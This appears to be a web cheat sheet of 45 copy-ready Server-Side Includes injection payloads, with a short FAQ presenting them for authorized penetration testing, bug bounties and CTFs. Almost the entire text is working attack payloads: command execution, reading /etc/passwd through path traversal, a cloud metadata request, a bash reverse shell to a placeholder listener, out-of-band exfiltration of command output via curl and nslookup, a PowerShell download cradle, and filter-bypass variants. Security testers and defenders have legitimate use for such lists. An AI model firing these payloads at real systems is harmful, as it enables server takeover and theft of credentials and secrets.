$loading...
Server-Side Includes (SSI) injection payloads for command execution, file reading, environment disclosure, and detection across Apache, Nginx, and IIS. (45 payloads)
<!--#echo var="DATE_LOCAL" --><!--#printenv --><!--#echo var="DOCUMENT_NAME" --><!--#echo var="SERVER_SOFTWARE" --><!--#config errmsg="SSI_ERR" --><!--#include virtual="/nonexistent" --><!--#set var="x" value="1" --><!--#echo var="x" -->[an error occurred while processing this directive]x<!--#echo var="HTTP_USER_AGENT" -->x<!--#exec cmd="id" --><!--#exec cmd="whoami" --><!--#exec cmd="ls -la /" --><!--#exec cmd="dir C:\\" --><!--#exec cmd="cat /etc/passwd" --><!--#exec cgi="/cgi-bin/script.sh" --><!--#exec cmd="bash -i >& /dev/tcp/LHOST/4444 0>&1" --><!--#exec cmd="id;uname -a;cat /etc/issue" --><!--#include virtual="/etc/passwd" --><!--#include file="secret.txt" --><!--#include file="../../../../etc/passwd" --><!--#include virtual="/cgi-bin/printenv" --><!--#include virtual="/server-status" --><!--#include virtual="http://169.254.169.254/latest/meta-data/" --><!--#fsize file="/etc/passwd" --><!--#flastmod file="index.html" --><!--#echo var="DOCUMENT_ROOT" --><!--#echo var="SCRIPT_FILENAME" --><!--#echo var="REMOTE_ADDR" --><!--#echo var="QUERY_STRING_UNESCAPED" --><!--#echo var="HTTP_COOKIE" --><!--#exec cmd="env" --><!--#exec cmd="set" --><!--#exec cmd="sleep 10" --><!--#exec cmd="ping -c 4 LHOST" --><!--#exec cmd="nslookup `whoami`.OOB.example.com" --><!--#exec cmd="curl http://OOB.example.com/$(id|base64)" --><!--#include virtual="http://OOB.example.com/canary" --><!--#exec cmd="powershell -c (New-Object Net.WebClient).DownloadString('http://OOB.example.com/c')" -->Hostname: <!--#exec cmd="id" -->User-Agent: <!--#exec cmd="id" -->shell.shtml<!--#\x65xec cmd="id" --><!--%23exec cmd="id" --><!--#exec cmd="id" --><esi:include src="http://OOB.example.com/"/><esi:include src="/" stylesheet="http://OOB.example.com/x.xsl"/>Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 45 SSI Injection payloads for testing SSI Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the SSTI Identifier & Payload Builder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all SSI Injection payloads are completely free, with no account required. Everything runs in your browser.